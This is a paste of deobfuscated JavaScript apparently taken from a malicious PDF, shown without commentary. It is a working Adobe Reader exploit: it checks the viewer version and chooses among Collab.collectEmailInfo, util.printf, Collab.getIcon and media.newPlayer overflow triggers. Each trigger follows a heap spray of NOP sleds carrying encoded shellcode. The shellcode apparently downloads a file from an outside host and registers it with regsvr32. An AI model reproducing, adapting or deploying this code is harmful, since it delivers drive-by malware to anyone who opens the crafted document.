Advertisement
shixiliufang

pdf_deobfuscated

Jan 29th, 2012
1,334
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  if(e("1"))bjsg="%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u692f%u6572%u6e6b%u6e65%u706e%u6f68%u656c%u632e%u6d6f%u772f%u702e%u7068%u663f%u323d%u2636%u3d65%u0033%u0000";
  2.  function ezvr(ra,qy)
  3.  {
  4.    while(ra.length*2<qy)
  5.    {
  6.      ra+=ra;
  7.    }
  8.    ra=ra.substring(0,qy/2);
  9.    return ra;
  10.  }
  11.  function bx()
  12.  {
  13.    var dkg=new Array();
  14.    var vw=0x0c0c0c0c;
  15.    var addr=0x400000;
  16.    var payload=unescape(bjsg);
  17.    var sc_len=payload.length*2;
  18.    var qy=addr-(sc_len+0x38);
  19.    var yarsp=unescape("%u9090%u9090");
  20.    yarsp=ezvr(yarsp,qy);
  21.    var count2=(vw-0x400000)/addr;
  22.    for(var count=0;count<count2;count++)
  23.    {
  24.      dkg[count]=yarsp+payload;
  25.    }
  26.    var overflow=unescape("%u0c0c%u0c0c");
  27.    while(overflow.length<44952)
  28.    {
  29.      overflow+=overflow;
  30.    }
  31.    this.collabStore=Collab.collectEmailInfo(
  32.    {
  33.      subj:"",msg:overflow
  34.    }
  35.    );
  36.  }
  37.  function printf()
  38.  {
  39.    nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
  40.    var payload=unescape(bjsg);
  41.    heapblock=nop+payload;
  42.    bigblock=unescape("%u0A0A%u0A0A");
  43.    headersize=20;
  44.    spray=headersize+heapblock.length;
  45.    while(bigblock.length<spray)
  46.    {
  47.      bigblock+=bigblock;
  48.    }
  49.    fillblock=bigblock.substring(0,spray);
  50.    block=bigblock.substring(0,bigblock.length-spray);
  51.    while(block.length+spray<0x40000)
  52.    {
  53.      block=block+block+fillblock;
  54.    }
  55.    mem=new Array();
  56.    for(i=0;i<1400;i++)
  57.    {
  58.      mem[i]=block+heapblock;
  59.    }
  60.    var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
  61.    util.printf("%45000f",num);
  62.  }
  63.  function geticon()
  64.  {
  65.    var arry=new Array();
  66.    if(app.doc.Collab.getIcon)
  67.    {
  68.      var payload=unescape(bjsg);
  69.      var hWq500CN=payload.length*2;
  70.      var qy=0x400000-(hWq500CN+0x38);
  71.      var yarsp=unescape("%u9090%u9090");
  72.      yarsp=ezvr(yarsp,qy);
  73.      var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;
  74.      for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++)
  75.      {
  76.        arry[vqcQD96y]=yarsp+payload;
  77.      }
  78.      var tUMhNbGw=unescape("%09");
  79.      while(tUMhNbGw.length<0x4000)
  80.      {
  81.        tUMhNbGw+=tUMhNbGw;
  82.      }
  83.      tUMhNbGw="N."+tUMhNbGw;
  84.      app.doc.Collab.getIcon(tUMhNbGw);
  85.    }
  86.  }
  87.  aPlugins=app.plugIns;
  88.  var sv=parseInt(app.viewerVersion.toString().charAt(0));
  89.  for(var i=0;i<aPlugins.length;i++)
  90.  {
  91.    if(aPlugins[i].name=="EScript")
  92.    {
  93.      var lv=aPlugins[i].version;
  94.    }
  95.  }
  96.  if((lv==9)||((sv==8)&&(lv<=8.12)))
  97.  {
  98.    geticon();
  99.  }
  100.  else if(lv==7.1)
  101.  {
  102.    printf();
  103.  }
  104.  else if(((sv==6)||(sv==7))&&(lv<7.11))
  105.  {
  106.    bx();
  107.  }
  108.  else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17))
  109.  {
  110.    function a()
  111.    {
  112.      util.printd("p@111111111111111111111111 : yyyy111",new Date());
  113.    }
  114.    var h=app.plugIns;
  115.    for(var f=0;f<h.length;f++)
  116.    {
  117.      if(h[f].name=="EScript")
  118.      {
  119.        var i=h[f].version;
  120.      }
  121.    }
  122.    if((i>8.12)&&(i<8.2))
  123.    {
  124.      c=new Array();
  125.      var d=unescape("%u9090%u9090");
  126.      var e=unescape(bjsg);
  127.      while(d.length<=0x8000)
  128.      {
  129.        d+=d;
  130.      }
  131.      d=d.substr(0,0x8000-e.length);
  132.      for(f=0;f<2900;f++)
  133.      {
  134.        c[f]=d+e;
  135.      }
  136.      a();
  137.      a();
  138.      try
  139.      {
  140.        this.media.newPlayer(null);
  141.      }
  142.      catch(e)
  143.      {
  144.      }
  145.      a();
  146.    }
  147.  }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement